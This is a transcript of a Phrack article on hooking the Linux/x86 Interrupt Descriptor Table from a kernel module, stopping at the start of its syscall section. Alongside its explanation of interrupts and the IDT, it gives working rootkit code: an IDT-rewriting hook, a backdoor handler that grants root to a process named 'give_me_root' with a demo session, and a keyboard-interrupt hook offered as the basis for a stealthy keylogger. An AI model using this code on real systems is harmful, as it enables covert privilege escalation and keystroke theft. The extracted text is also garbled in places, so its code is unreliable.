p59 0x04 handling the interrupt descriptor table by kad

Upload: abuadzkasalafy

Post on 06-Apr-2018

234 views

Category:

Documents


1 download

TRANSCRIPT

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    1/44

    ==Phrack Inc.==

    Volume 0x0b, Issue 0x3b, Phile #0x04 of 0x12

    =-----=[ Handling Interrupt Descriptor Table for fun and profit ]=------==-----------------------------------------------------------------------==----------------=[ kad, ]=-----------------------=

    --[ Contents

    1 - Introduction

    2 - Presentation2.1 - What is an interrupt?2.2 - Interrupts and exceptions2.3 - Interrupt vector2.4 - What is IDT?

    3 - Exceptions3.1 - List of exceptions3.2 - Whats happening when an exception appears ?3.3 - Hooking by mammon3.4 - Generic interrupt hooking3.5 - Hooking for profit : our first backdoor3.6 - Hooking for fun

    4 - The hardware interrupt4.1 - How does It work ?4.2 - Initialization and activation of a bottom half4.3 - Hooking of the keyboard interrupt

    5 - Exception programmed for the system call5.1 - List of syscalls5.2 - How does a syscall work ?5.3 - Hooking for profit

    5.3.1 - Hooking of sys_setuid5.3.2 - Hooking of sys_write

    5.4 - Hooking for fun

    6 - CheckIDT

    7 - References & Greetz

    8 - Appendix

    --[ 1 - Introduction

    The Intel CPU can be run in two modes: real mode and protected mode.The first mode does not protect any kernel registers from being alteredby userland programs. All modern Operating System make use of theprotected mode feature to restrict access to critical registers byuserland processes. The protected mode offers 4 different 'privilegelevels' (ranging from 0..3, aka ring0..ring3). Userland applicationsare usually executed in ring3. The kernel on the other hand is executedin the most privileged mode, ring0. This grants the kernel full access

    to all CPU registers, all parts of the hardware and the memory. With noquestion is this the mode of choice to do start some hacking.

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    2/44

    The article will demonstrate techniques for modifying the InterruptDescriptor Table (IDT) on Linux/x86. Further on will the article explainhow the same technique can be used to redirect system calls to achievesimilar capability as with Loadable Kernel Modules (LKM).

    The presented examples in this article will only make use of LKM toload the executable code into kernel space for simplicity reasons. Other

    techniques which are not scope of this document can be used to eitherload the executable code into the kernel space or to hide the kernelmodule (Spacewalker's method for example).

    CheckIDT which is a useful tool for examining the IDT and to avoidkernel panics every 5 minutes is provided at the end of that paper.

    --[ 2 - Presentation

    ----[ 2.1 - What's an interrupt?

    "An interrupt is usually defined as an event that alters thesequence of instructions executed by a processor. Such events correspond toelectrical signals generated by hardware circuits both inside and outsideof the CPU chip."(from: "Understanding the Linux kernel," O'Reilly publishing.)

    ----[ 2.2 - Interrupts and exceptions

    The Intel reference manual refers to "synchronous interrupts" (thosewhich are produced by the CPU Control Unit (CU) after the execution of aninstruction has been finished) as "exceptions". Asynchronous interrupts(those which are generated by other hardware devices at arbitrary time) are

    referred to as just "interrupts". Interrupts are issued by external I/Odevices whereas exceptions are caused either by programming errors or byanomalous conditions that must be handled by the kernel. The term"Interrupt Signals" will be used during this article to refer to both,exceptions and interrupts.

    Interrupts are split into two categories: Maskable interrupts which canbe ignored (or 'masked') for a short time period and non-maskableinterrupts which must be handled immediately. Unmaskable interrupts aregenerated by critical events such as hardware failures; I won't dealwith them here. The well-known IRQs (Interrupt ReQuests) fall into thecategory of maskable interrupts.

    Exceptions are split into two different categories: Processorgenerated exceptions (Faults, Traps, Aborts) and programmed exceptionswhich can be triggered by the assembler instructions int or int3. Thelatter one are often referred to as software interrupts.

    ----[ 2.3 - Interrupt vector

    Each interrupt or exception is identified by a number between 0 and 255.Intel calls this number a vector. The numbers are classified like this:

    - From 0 to 31 : exceptions and non-maskable interrupts

    - From 32 to 47 : maskable interrupts- From 48 to 255 : software interrupts

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    3/44

    Linux uses only one software interrupt (0x80) which is used for thesyscall interface to invoke kernel functions.

    Hardware IRQs (Interrupt ReQuest) from IRQ0..IRQ15 are assigned tothe interrupt vectors 32..47.

    ----[ 2.4 - What is IDT ?

    IDT = Interrupt Descriptor Table

    The IDT is a linear table of 256 entries which associates an interrupthandler with each interrupt vector.Each entry of the IDT is a descriptor of 8 bytes which blows the entireIDT up to a size of 256 * 8 = 2048 bytes.The IDT can contain three different types of descriptors/entries:

    - Task Gate Descriptor

    Linux does not use this descriptor

    - Interrupt Gate Descriptor

    63 4847 4039 32+------------------------------------------------------------ DD HANDLER OFFSET (16-31) PPP01110000 RESERVED LL =============================================================

    SEGMENT SELECTOR HANDLER OFFSET (0-15)

    ------------------------------------------------------------+31 1615 0

    - bits 0 to 15 : handler offset low- bits 16 to 31 : segment selector- bits 32 to 37 : reserved- bits 37 to 39 : 0- bits 40 to 47 : flags/type- bits 48 to 63 : handler offset high

    - Trap Gate Descriptor

    Same as the previous one, but the flag is different

    The flag is composed as next :

    - 5 bits for the typeinterrupt gate : 1 1 1 1 0trap gate : 0 1 1 1 0

    - 2 bits for DPLDPL = descriptor privilege level

    - 1 bit reserved

    Offset low and offset high contain the address of the function handlingthe interrupt. This address is jumped at when an interrupt occurs. The goal

    of the article is to change one of these addresses and let our owninterrupthandler beeing executed.

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    4/44

    DPL=Descriptor Privilege Level

    The DPL is equal to 0 or 3. Zero is the most privileged level (kernelmode). The current execution level is saved in the CPL register (CurrentPrivilege Level). The UC (Unit Of Control) compares the value of the CPLregister against the DPL field of the interrupt in the IDT. The interrupthandler is executed if the DPL field is greater (less privileged) or equal

    to the value in the CPL register. Userland applications are executed inring3 (CPL==3). Certain interrupt handlers can thus not be invoked byuserland applications.

    The IDT is initialized one first time by the BIOS routine but Linuxdoes it one more time when it take control. The asm lidt functioninitialize the idtr registry which will contain the size and idt's address.Then the setup_idt function fill the 256 entry of the idt with the sameinterrupt gate, ignore_int. Then the good gate will be inserted into theidt by the next functions:

    linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr)

    insert an interrupt gate at the n place at the addresspointed to by the idt register. The interrupt handler's addressis stored in 'addr'.

    linux/arch/i386/kernel/irq.cAll maskable interrupts and software interrupts are initialized with:

    set_intr_gate :#define FIRST_EXTERNAL_VECTOR 0x20

    for (i = 0; i < NR_IRQS; i++) {int vector = FIRST_EXTERNAL_VECTOR + i;if (vector != SYSCALL_VECTOR)

    set_intr_gate(vector, interrupt[i]);

    linux/arch/i386/kernel/traps.c::set_system_gate(n, addr)insert a trap gate.The DPL field is set to 3.

    These interrupts can be invoked from the userland (ring3).

    set_system_gate(3,&int3)set_system_gate(4,&overflow)set_system_gate(5,&bounds)set_system_gate(0x80,&system_call);

    linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr)

    insert a trap gate with the DPL field set to 0.The Others exception are initialized with set_trap_gate :

    set_trap_gate(0,&divide_error)set_trap_gate(1,&debug)set_trap_gate(2,&nmi)set_trap_gate(6,&invalid_op)set_trap_gate(7,&device_not_available)set_trap_gate(8,&double_fault)set_trap_gate(9,&coprocessor_segment_overrun)

    set_trap_gate(10,&invalid_TSS)set_trap_gate(11,&segment_not_present)set_trap_gate(12,&stack_segment)

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    5/44

    set_trap_gate(13,&general_protection)set_trap_gate(14,&page_fault)set_trap_gate(15,&spurious_interrupt_bug)set_trap_gate(16,&coprocessor_error)set_trap_gate(17,&alignement_check)set_trap_gate(18,&machine_check)

    IRQ interrupts are initialized by set_intr_gate(), Exception int3,overflow, bound and the system_call software interrupt by set_system_gate().All others exceptions are initialized by set_trap_gate().

    Let's start over with some practice and examine the currently assignedhandler addresses for each interrupt. Use the tool CheckIDT [6] attachedto this article for this:

    %./checkidt -A -s

    Int *** Stub Address * Segment *** DPL * Type Handler Name--------------------------------------------------------------------------0 0xc01092c8 KERNEL_CS 0 Trap gate divide_error1 0xc0109358 KERNEL_CS 0 Trap gate debug2 0xc0109364 KERNEL_CS 0 Trap gate nmi3 0xc0109370 KERNEL_CS 3 System gate int34 0xc010937c KERNEL_CS 3 System gate overflow5 0xc0109388 KERNEL_CS 3 System gate bounds6 0xc0109394 KERNEL_CS 0 Trap gate invalid_op...18 0xc0109400 KERNEL_CS 0 Trap gate machine_check19 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int20 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int

    ...31 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int32 0xc010a0d8 KERNEL_CS 0 Interrupt gate IRQ0x00_interrupt33 0xc010a0e0 KERNEL_CS 0 Interrupt gate IRQ0x01_interrupt...47 0xc010a15c KERNEL_CS 0 Interrupt gate IRQ0x0f_interrupt128 0xc01091b4 KERNEL_CS 3 System gate system_call

    The System.map contains the symbol names to the addresses shown above.

    % grep c0109364 /boot/System.map00000000c0109364 T nminmi=not maskable interrupt ->trap_gate

    % grep c010937c /boot/System.map00000000c010937c T overflowoverflow -> system_gate

    % grep c01001e4 /boot/System.map00000000c01001e4 t ignore_int

    18 to 31 are reserved by Intel for further use

    % grep c010a0e0 /boot/System.map

    00000000c010a0e0 t IRQ0x01_interruptdevice keyboard ->intr_gate

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    6/44

    % grep c01091b4 /boot/System.map00000000c01091b4 T system_callsystem call -> system_gate

    rem: there is a new option in checkIDT for resolving symbol

    --[ 3 - Exceptions

    ----[ 3.1 - List of exceptions

    --------------------------------------------------------------------------+number Exception Exception Handler --------------------------------------------------------------------------+0 Divide Error divide_error() 1 Debug debug() 2 Nonmaskable Interrupt nmi() 3 Break Point int3() 4 Overflow overflow()

    5 Boundary verification bounds() 6 Invalid operation code invalid_op() 7 Device not available device_not_available() 8 Double Fault double_fault() 9 Coprocessor segment overrun coprocesseur_segment_overrun() 10 TSS not valid invalid_tss() 11 Segment not present segment_no_present() 12 stack exception stack_segment() 13 General Protection general_protection() 14 Page Fault page_fault() 15 Reserved by Intel none 16 Calcul Error with float virgul coprocessor_error() 17 Alignement check alignement_check()

    18 Machine Check machine_check() --------------------------------------------------------------------------+

    Exceptions are divided into two categories:- processor detected exceptions (DPL field set to 0)- software interrupts (aka programmed exceptions), (DPL field set to 3).

    The latter one can be invoked from userland.

    ----[ 3.2 - Whats happening when an exception occurs ?

    On the occurrence of an exception the corresponding handler addressfrom the current IDT is executed. This handler is not the real handler whodeals with the exception, it's just jumps till the true/good handler.

    To be clearer :

    exception -----> intermediate Handler -----> Real Handler

    entry.S defines all the intermediate Handler, also called Generic Handleror stub. The first Handler is written in asm, the real Handler written inC.

    For not being confused, lets call the first handler : asm Handler

    and the second one the C Handler.

    let's have a look at entry.S :

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    7/44

    entry.S :---------

    **************************************************ENTRY(nmi)

    pushl $0

    pushl $ SYMBOL_NAME(do_nmi)jmp error_code

    ENTRY(int3)pushl $0pushl $ SYMBOL_NAME(do_int3)jmp error_code

    ENTRY(overflow)pushl $0pushl $ SYMBOL_NAME(do_overflow)jmp error_code

    ENTRY(divide_error)

    pushl $0 # no error value/codepushl $ SYMBOL_NAME(do_divide_error)ALIGN

    error_code:pushl %dspushl %eaxxorl %eax,%eaxpushl %ebppushl %edipushl %esi

    pushl %edxdecl %eax # eax = -1pushl %ecxpushl %ebxcldmovl %es,%cxmovl ORIG_EAX(%esp), %esi # get the error valuemovl ES(%esp), %edi # get the function addressmovl %eax, ORIG_EAX(%esp)movl %ecx, ES(%esp)movl %esp,%edxpushl %esi # push the error codepushl %edx # push the pt_regs pointermovl $(__KERNEL_DS),%edxmovl %dx,%dsmovl %dx,%esGET_CURRENT(%ebx)call *%ediaddl $8,%espjmp ret_from_exception

    **********************************************

    Let's examine the above:

    ALL handlers have the same structure (only system_call and

    device_not_available are different):

    pushl $0

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    8/44

    pushl $ SYMBOL_NAME(do_####name)jmp error_code

    Pushl $0 is only used for some exceptions. The UC is supposed to smearthe hardware error value of the exception onto the stack. Some exceptionsto not generate an error value and $0 (zero) is pushed instead. The lastline jumps to error_code (see linux/arch/i386/kernel/entry.S for details).

    error code is an asm macro used by the exceptions.

    so let's resume once again

    exception ---> intermediate Handler ---> error_code macro ---> Real Handler

    The Assembly fragment error_code performs the following steps:

    1: Saves the registers that might be used by the high-level C function onthe stack.

    2: Set eax to -1.

    3: Copy the hardware error value ($esp + 36) and the handler's address($esp + 32) in esi and edi respectively.

    movl ORIG_EAX(%esp), %esimovl ES(%esp), %edi

    4: Place eax, which is equal to -1, at the error code emplacement.Copy the content of es to the stack location at $esp + 32.

    5: Save the the stack's top Address into edx,then smear error_code which we

    get back at point 3 and edx on the stack.The stack's top address must be saved for later use.

    6: Place the kernel data segment selector into the ds and es registry.

    7: Set the current process descriptor's address in ebx.

    8: Stores the parameters to be passed to the high-level C function on thestack (e.g. the hardware exception value and the address and the stacklocation of the saved registers from the user mode process).

    9: Call the exception handler (address is in edi, see 3).

    10: The two last instructions are for the back of the exception.

    error_code will jump to the suitable exception Manager. The one that'sgonna actually handle the exceptions (see traps.c for detailedinformation).

    So these ones are written in C.

    Let's take an exception handler as a concrete example. For example, theC handler for non maskable nmi interruption.

    rem: taken from traps.c

    **************************************************************asmlinkage void do_nmi(struct pt_regs * regs, long error_code)

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    9/44

    {unsigned char reason = inb(0x61);extern atomic_t nmi_counter;

    ....**************************************************************

    asmlinkage is a macro used to keep params on the stack. As params are

    passed from asm code to C code through the stack, it would be bad to getunwanted params put on the top of the stack. Asmlinkage gonna resolvethat point.

    The function do_nmi gets a pointer of type pt_regs and error_code.

    pt_regs is defined into /usr/include/asm/ptrace.h:

    struct pt_regs {long ebx;long ecx;long edx;

    long esi;long edi;long ebp;long eax;int xds;int xes;long orig_eax;long eip;int xcs;long eflags;long esp;int xss;

    };

    A part of the registry are push on the stack by error_code, the othersare some registry pushed by the UC at the hardware level.

    This handler will handle the exception and almost all time send a signal tothe process.

    ----[ 3.3 - Hooking an interrupt (by Mammon)

    Mammon wrote a txt on how to hook interrupt under linux. The techniqueI'm going to explain is similar to that of Mammon but will allow usto handle the interrupt in a more generic/comfortable way.

    Let's take int3, the breakpoint interrupt. The handler/stub is defines asfollowing:

    ENTRY(int3)pushl $0pushl $ SYMBOL_NAME(do_int3)jmp error_code

    The C handler's address is pushed on the stack right after the dummyhardware error value (zero) has been saved. The assembly fragmenterror_code is executed next. Our approach is to rewrite such an asm handler

    and push our own handler's address on the stack instead of the original one(do_int3).

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    10/44

    Example:

    void stub_kad(void){

    __asm__ (".globl my_stub \n"".align 4,0x90 \n"

    "my_stub: \n""pushl $0 \n""pushl ptr_handler(,1) \n""jmp *ptr_error_code "::);}

    Our new handler looks similar to the original one. The surroundingstatements are required to get it compiled with a C compiler.

    - We put our asm code into a function to make linking easier.

    - .globl my_stub, will allow us to reference the asm code if we declarein global : extern asmlinkage void my_stub();- align 4,0x90, align the size of one word, on Intel processor thealignement is 4 (32 bits).

    - push ptr_handler(,1) , conform to the gas syntax,we wont use it later.

    For more information about asm inline, see [1].

    We push our Handler's address and we jump to error_code.

    ptr_handler contain our C Handler's address :

    unsigned long ptr_handler=(unsigned long)&my_handler;

    The C Handler:

    asmlinkage void my_handler(struct pt_regs * regs,long err_code){void (*old_int_handler)(struct pt_regs *,long) = (void *)

    old_handler;printk("Wowowo hijacking of int 3 \n");(*old_int_handler)(regs,err_code);return;}

    We get back two argument, one pointer on the registry, and err_code.We have seen before that error_code push this two argument. We save theold handler's address,the one we was supposed to push (pushl$SYMBOL_NAME(do_int3)). We do a little printk to show that we hooked theinterrupt and go back to the old handler.Its the same way as hooking asyscall with "classical method".

    What's old_handler ?

    #define do_int3 0xc010977cunsigned long old_handler=do_int3;

    do_int3 address have been catch from System.map.

    rem : We can define a symbol's address on-the-fly.

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    11/44

    To be clearer :

    asm Handler----------------push 0push our handler

    jmp to error_codeerror_code----------do some operationpop our handler addressjmp to our C handler

    our C Handler

    --------------------save the old handler's address

    print a messagereturn to the real C handler

    Real C Handler-------------------really deal with the interrupt

    Now we have to change the first Handler's address in the correspondingdescriptor in the IDT (offset_low and offset_high, see 2.4). The functionaccepts three parameters: The number of the interrupt hook, the newhandler's address and a pointer to save the old handler's address.

    void hook_stub(int n,void *new_stub,unsigned long *old_stub){unsigned long new_addr=(unsigned long)new_stub;struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;//save old stub

    if(old_stub)*old_stub=(unsigned long)get_stub_from_idt(3);

    //assign new stubidt[n].offset_high = (unsigned short) (new_addr >> 16);idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);return;}

    unsigned long get_addr_idt (void){unsigned char idtr[6];unsigned long idt;__asm__ volatile ("sidt %0": "=m" (idtr));idt = *((unsigned long *) &idtr[2]);return(idt);}

    void * get_stub_from_idt (int n){struct descriptor_idt *idte = &((struct descriptor_idt *)

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    12/44

    ptr_idt_table) [n];return ((void *) ((idte->offset_high offset_low));}

    struct descriptor_idt:

    struct descriptor_idt

    {unsigned short offset_low,seg_selector;unsigned char reserved,flag;unsigned short offset_high;};

    We have seen that a descriptor is 64 bits long.

    unsigned short : 16 bits (offset_low,seg_selector and offset_high)unsigned char : 8 bits (reserved and flag)

    (3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet

    It's a descriptor for the IDT. The only interesting fields are offset_highand offset_low. It's the two fields we will modify.

    Hook_stub performs the following steps:

    1: We copy our handler's address into new_addr

    2: We make the idt variable point on the first IDT descriptor.We got the IDT's address with the function get_addr_idt().This function execute the asm instruction sidt who get the idt addressand his size into a variable.We get the idt's address from this variable (idtr) and we send it back.

    This have been already explained by sd and devik in Phrack 58 article 7.3: We save the old handler's address with the function get_stub_from_idt.

    This function extract the fields offset_high and offset_low from thegived descriptor and send back the address.

    struct descriptor_idt *idte = &((struct descriptor_idt *)

    ptr_idt_table) [n];return ((void *) ((idte->offset_high offset_low));

    n = the number of the interrupt to hook. idte will then contain thegiven interrupt descriptor.

    We send the handler's address back,for it we send a type(void*) (32 bits).

    offset_high and offset_low do both 16 bits, we slide the bit for offsethigh to the left,and we add offset_low. The whole part give the handler'saddress.

    4 : new_addr contain our handler's address,always 32 bits.We extract the 16 MSB and put them into offset_high and the 16LSB into offset_low.

    The fields offset_high and offset_low of the interrupt's descriptor tohandle have been changed.

    The whole code is available in annexe CODE 1

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    13/44

    Why is this technique not perfect?Its not that its bad, but it isn't appropriate for the othersinterrupt.Here we admit that all handler are like that :

    pushl $0pushl $ SYMBOL_NAME(do_####name)jmp error_code

    It's True.If you give a look in entry.S, they are almost all look likethis. But not all. Imagine you wanna hook the syscall's handler, Thedevice_not_aivable Handler (even if its not really interesting)or even thehardware interrupt....How Will we do it ?

    ----[ 3.4 - Generic interrupt hooking

    We are going to use another technique to hook a handler. Remember, in thehandler written in C, we went back to the true C handler thanks to areturn.

    Now, we are going to go back in the asm code.

    Simple example of handler :

    void stub_kad(void){

    __asm__ (".globl my_stub \n"".align 4,0x90 \n""my_stub: \n"" call *%0 \n"" jmp *%1 \n"

    ::"m"(hostile_code),"m"(old_stub));}

    Here, we make a call to our fake C handler, the handler is executed andgoes back to the asm handler which jumps to the true asm handler !

    Our C handler :

    asmlinkage void my_function(){printk("Interrupt %i hijack \n",interrupt);}

    What happens ?

    We are going to change the address in the idt by the address of our asmhandler. This one will jump to our C handler and will go back to our asmhandler which, at the end, will jump to the true asm handler the addressof which we have saved.

    ::"m"(hostile_code),"m"(old_stub)

    For those who had not felt up to read the doc on asm inline, here is thesyntax :

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    14/44

    asm (assembler instruction: output operands: input operands: list of modified registers

    );

    You can put asm or __asm__. __asm__ is used to avoid confusion with othervars. You can also put asm volatile, in this case the asm code won'tbe changed (optimized) during the compilation.

    "m"(hostile_code) and "m"(old_stub) are input operands. The first one isequal to %0, the second one to %1, ... So call %0 is equal to callhostile_code. "m" means memory address. hostile_code corresponds to theaddress of our C handler and old_stub to the address of the handler thatwas in the idt previously. If this seems impossible to understand, I adviceyou to read the doc on asm inline [1].

    The whole code is in annexe. All the next codes comes from this code.In each new example, I will only show the asm handler et the C handler.The rest will be the same.

    First concrete example :

    bash-2.05# cat test.c#include

    int main (){int a=8,b=0;

    printf("A/B = %i\n",a/b);return 0;

    }bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.cbash-2.05# insmod hookstub-V0.2.o interrupt=0Inserting hookHooking finishbash-2.05# ./testFloating point exceptionInterrupt 0 hijackbash-2.05# rmmod hookstub-V0.2Removing hookbash-2.05#

    Good ! We see the "Interrupt hijack".

    In this code, we use MODULE_PARM which will allow to give parameters duringthe module insertion. For further information about this syntax, read"linux device drivers" from o'reilly [2] (chapter 2). This will allow usto hook a chosen interrupt with the same module.

    ----[ 3.5 - Hooking for profit : our first backdoor

    This first very simple backdoor will allow us to obtain a root shell.

    The C handler is going to give the root rights to the process that hasgenerated the interrupt.

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    15/44

    Asm handler------------

    void stub_kad(void){

    __asm__ (".globl my_stub \n"

    ".align 4,0x90 \n""my_stub: \n"" pushl %%ebx \n"" movl %%esp,%%ebx \n"" andl $-8192,%%ebx \n"" pushl %%ebx \n"" call *%0 \n"" addl $4,%%esp \n"" popl %%ebx \n"" jmp *%1 \n"::"m"(hostile_code),"m"(old_stub));

    }

    We give to the C handler the address of the current process descriptor.We get it back like in error_code, thanks to the macro GET_CURRENT :

    #define GET_CURRENT(reg) \movl %esp, reg; \andl $-8192, reg;

    defined in entry.S.

    rem : We can also use current instead.

    We put the result on the stack and we call our function. The rest of theasm code puts the stack back in its previous state and jumps to thetrue handler.

    C handler :-------------...unsigned long hostile_code=(unsigned long)&my_function;...

    asmlinkage void my_function(unsigned long addr_task){struct task_struct *p = &((struct task_struct *) addr_task)[0];if(strcmp(p->comm,"give_me_root")==0 )

    {p->uid=0;p->gid=0;}

    }

    We declare a pointer on the current process descriptor. We compare the nameof the process with a name we have chosen. We must not attribute the rootrights to all the process which would generate this interrupt. If it isthe good process, then we can give it new rights.

    "give_me_root" is a little program which launch a shell(system("/bin/sh")). We will only have to put a breakpoint before system

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    16/44

    to launch a shell with the root rights.

    In practice :--------------

    bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.cbash-2.05# insmod hookstub-V0.3.2.o interrupt=3

    Inserting hookHooking finishbash-2.05#

    ///// in another shell //////

    sh-2.05$ cat give_me_root.c#include

    int main (int argc, char ** argv){system("/bin/sh");

    return 0;}

    sh-2.05$ gcc -o give_me_root give_me_root.csh-2.05$ iduid=1000(kad) gid=100(users) groups=100(users)sh-2.05$ gdb give_me_root -q(gdb) b mainBreakpoint 1 at 0x80483f6(gdb) rStarting program: /tmp/give_me_root

    Breakpoint 1, 0x080483f6 in main ()

    (gdb) cContinuing.sh-2.05# iduid=0(root) gid=0(root) groups=100(users)sh-2.05#

    We are root. The code is in annexe, CODE 2.

    ----[ 3.6 - Hooking for fun

    A program that could be interesting is an exception tracer. We could forexample hook all the exceptions to print the name of the process that hasprovoked the exception. We could know all the time who launch what.We could also print the values of the registers.There is a function show_regs that is in arch/i386/kernel/process.c :

    void show_regs(struct pt_regs * regs){

    long cr0 = 0L, cr2 = 0L, cr3 = 0L;

    printk("\n");printk("EIP: %04x:[]",0xffff & regs->xcs,regs->eip);if (regs->xcs & 3)

    printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp);

    printk(" EFLAGS: %08lx\n",regs->eflags);printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n",

    regs->eax,regs->ebx,regs->ecx,regs->edx);

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    17/44

    printk("ESI: %08lx EDI: %08lx EBP: %08lx",regs->esi, regs->edi, regs->ebp);

    printk(" DS: %04x ES: %04x\n",0xffff & regs->xds,0xffff & regs->xes);

    __asm__("movl %%cr0, %0": "=r" (cr0));__asm__("movl %%cr2, %0": "=r" (cr2));__asm__("movl %%cr3, %0": "=r" (cr3));

    printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3);}

    You can use this code to print the state of the registers at everyexception.

    Something more dangerous would be to change the asm handler so that itwould not execute the true C handler. The process that has generated theexception would not receive such signals as SIGSTOP or SIGSEGV. This wouldbe very useful in some situations.

    --[ 4 - THE HARDWARE INTERRUPTS

    ----[ 4.1 - How does it works ?

    We can also hook interrupts generated by IRQs with the same method butthey are less interesting to hook (unless you have a great idea ;). We aregoing to hook interrupt 33 which is keyboard's. The problem is that thisinterrupt happens a lot more. The handler will be executed a large numberof times and will have to go very fast to not block the system. To avoidthis, we are going to use bottom half. There are functions of low prioritywhich are used for interrupt handling in most cases . The kernel is waitingfor the adequate time to launch it, and other interruptions are not maskedduring its execution

    The waiting bottom half will be executed only at the following:

    - the kernel finishes to handle a syscall- the kernel finishes to handle a exception- the kernel finishes to handle a interrupt- the kernel uses the schedule() function in order to select a newprocess

    But they will be executed before the processor goes back in user mode.

    So the bottom half are useful to ensure the quick handle of aninterruption.

    Here are some examples of linux used bottom halves

    ----------------+-------------------------------+Bottom half Peripheral equipment ----------------+-------------------------------+CONSOLE_BH Virtual console IMMEDIATE_BH Immediate tasks file KEYBOARD_BH Keyboard NET_BH Network interface SCSI_BH SCSI interface TIMER_BH Clock

    TQUEUE_BH Periodic tasks queue ... ----------------+-------------------------------+

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    18/44

    My goal writing this paper is not to study the bottom halves, as it's atoo wide topic. Anyway, for more informations about that topic, you canhave a look at

    http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8]

    IRQ list--------

    BEWARE ! : the number of the interrupts are not always the same for theIRQs!

    ----+---------------+----------------------------------------IRQ Interrupt Peripheral equipment----+---------------+----------------------------------------0 32 Timer1 33 Keyboard

    2 34 PIC cascade3 35 Second serial port4 36 First serial port6 37 Floppy drive8 40 System clock11 43 Network interface12 44 PS/2 mouse13 45 Mathematic coprocessor14 46 First EIDE disk controller15 47 Second EIDE disk controller----+---------------+----------------------------------------

    ----[ 4.2 - Initialization and activation of a bottom half

    The low parts must be initialized with the function init_bh(n,routine)that insert the address routine in the n-th entry of bh_base (bh_base is anarray where low parts are kept). When it is initialized, it can beactivated and executed. The function mark_bh(n) is used by the interrupthandler to activate the n-th low part.

    The tasklets are the functions themselves. There are put together in listof elements of type tq_struct :

    struct tq_struct {struct tq_struct *next; /* linked list of active bh's */unsigned long sync; /* must be initialized to zero */void (*routine)(void *); /* function to call */void *data; /* argument to function */

    };

    The macro DELACRE_TASK_QUEUE(name,fonction,data) allow to declare atasklet that will then be inserted in the task queue thanks to the functionqueue_task. There is several task queues, the most interesting here istq_immediate that is executed by the bottom half IMMEDIATE_BH (immediatetask queue).

    (include/linux/tqueue.h)

    ----[ 4.3 - Hooking of the keyboard interrupt

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    19/44

    When we hit a key, the interrupt happens twice. Once when we push thekey and once when we release the key. The code below will display a messageevery 10 interrupts. If we hit 5 keys, the message appears.

    I don't show the asm handler which is the same as in 3.4

    Code----...struct Variable

    {int entier;char chaine[10];};

    ...static void evil_fonction(void * status)

    {struct Variable *var = (struct Variable * )status;

    nb++;if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n",nb,var->entier,var->chaine);}

    ...asmlinkage void my_function()

    {static struct Variable variable;static struct tq_struct my_task = {NULL,0,evil_fonction,&variable};variable.entier=3;strcpy(variable.chaine,"haha hijacked key :) ");queue_task(&my_task,&tq_immediate);mark_bh(IMMEDIATE_BH);

    }

    We declare a tasklet my_task. We initialize it with our function andthe argument. As the tasklet allow us to take only one argument, we givethe address of a structure. This will allow to use several arguments. Weadd the tasklet to the list tq_immediate thanks to queue_task. Finally, weactivate the low part IMMEDIATE_BH thanks to mark_bh:

    mark_bh(IMMEDIATE_BH)

    We have to activate IMMEDIATE_BH, which handles the tasks queue'tq_immediate' (the one where we added our own tasklet) evil_function is tobe executed just after one of the requested event (listed in part 4.1)

    evil_function is just going to display a message each time that theinterrupt happened 10 times. We effectively hooked the keyboard interrupt.We could use this method to code a keylogger. This one would be the mostquiet because it would act at interrupts level. The issue, that I didn'tsolve, is to know which key has been hit. To do this, we can use thefunction inb() that can read on a I/O port. There are 65536 I/O ports(8 bits ports). 2 8 bits ports make a 16 bits ports and 2 16 bits portsmake a 32 bits ports. The functions that allow us to access ports are:

    inb,inw,inl : allow to read 1, 2 or 4 consecutive bytes from a I/O port.

    outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port.

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    20/44

    So we can read the scancode of the keyboard thanks to the function inb,and its status (pushed, released). Unfortunately, I'm not sure of the portto read. The port for the scancode is 0x60 and the port for the status is0x64.

    scancode=inb(0x60);status=inb(0x64);

    scancode is going to be equal to a value that will have to betransformed to know which key has been hit. This is realized with an arrayof value. It may exist a function that give directly the conversion, butI'm not sure. If anyone has information about it or wish to develop thetopic, he can contact me.

    --[ 5 - THE EXCEPTION PROGRAMMED FOR THE SYSTEM CALL

    ----[ 5.1 - List of the syscalls

